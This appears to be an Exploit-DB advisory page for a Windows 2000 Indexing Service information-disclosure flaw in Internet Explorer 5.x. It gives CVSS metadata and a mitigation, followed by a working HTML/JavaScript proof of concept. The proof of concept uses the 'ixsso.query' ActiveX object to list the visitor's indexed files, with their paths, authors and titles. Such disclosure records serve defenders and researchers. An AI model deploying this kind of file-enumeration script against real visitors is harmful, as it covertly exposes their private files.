Demo - IE 5.x Win2000 Indexing service vulnerability

vendor:

Windows 2000

by:

Georgi Guninski

4.3

CVSS

MEDIUM

Information Disclosure

200

CWE

Product Name: Windows 2000

Affected Version From: Windows 2000

Affected Version To: Windows 2000

Patch Exists: NO

Related CWE: N/A

CPE: o:microsoft:windows_2000

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2000

Demo – IE 5.x Win2000 Indexing service vulnerability

A malicious website operator may verify the existence of files residing on a Windows 2000 system with Indexing Services enabled. The website operator is capable of searching for specific files by using the Indexing Services via specially malformed HTML containing the ActiveX Object 'ixsso.query'. Query results will display the full physical path of the file and will only be retrieved from directories that have been explicitly configured as searchable directories within the Indexing Service.

Mitigation:

Disable Indexing Services on Windows 2000 systems.

Source

Exploit-DB raw data:

<!--
source: https://www.securityfocus.com/bid/1933/info

Microsoft Windows 2000 Indexing Services is a search engine that will allow a user to perform full-text searches of online sites using their browsers. Search results include Word, Excel, PowerPoint, and HTML documents. By default, this service is not enabled in Windows 2000.

A malicious website operator may verify the existence of files residing on a Windows 2000 system with Indexing Services enabled. The website operator is capable of searching for specific files by using the Indexing Services via specially malformed HTML containing the ActiveX Object 'ixsso.query'. Query results will display the full physical path of the file and will only be retrieved from directories that have been explicitly configured as searchable directories within the Indexing Service.

Successful disclosure of a file's availability may aid in more severe attacks against the target system.
-->


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Search for files containing: <INPUT NAME="query" TYPE="text">
<INPUT TYPE="BUTTON" VALUE="Search" onclick="g(document.all.query.value)">
<INPUT TYPE="BUTTON" VALUE="Find *.txt files" onclick="g('@filename = *.txt')">
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function g(q1)
{

qu=new ActiveXObject("ixsso.query");

qu.Catalog="System";
//qu.query="@contents name";
//qu.query="#filename .htm or name near test";
//qu.query='@filename = *.doc ';
qu.query=q1;

qu.Columns="filename, path, doctitle, doccomments, docauthor, size";

rs=qu.CreateRecordset("nonsequential");
//alert("Records: "+rs.RecordCount);

doc=window.frames[0].document;
doc.writeln("SEARCH RESULTS Records: "+rs.RecordCount+"<BR>");
doc.writeln("<TABLE BORDER=2>");
doc.writeln("<TR><TD>Path</TD><TD>size</TD><TD>DocAuthor</TD><TD>DocTitle</TD></TR>");
while (!rs.EOF)
{
doc.writeln("<TR><TD><A TARGET='_blank' HREF='file://"+rs("Path")+"'</A>"+rs("Path")+"</TD><TD>"+rs("size")+"</TD><TD>"+rs("DocAuthor")+"</TD><TD>"+rs("DocTitle")+"</TD></TR>");
rs.MoveNext();
}
doc.writeln("</TABLE>");

}
//setTimeout("g()",1000);
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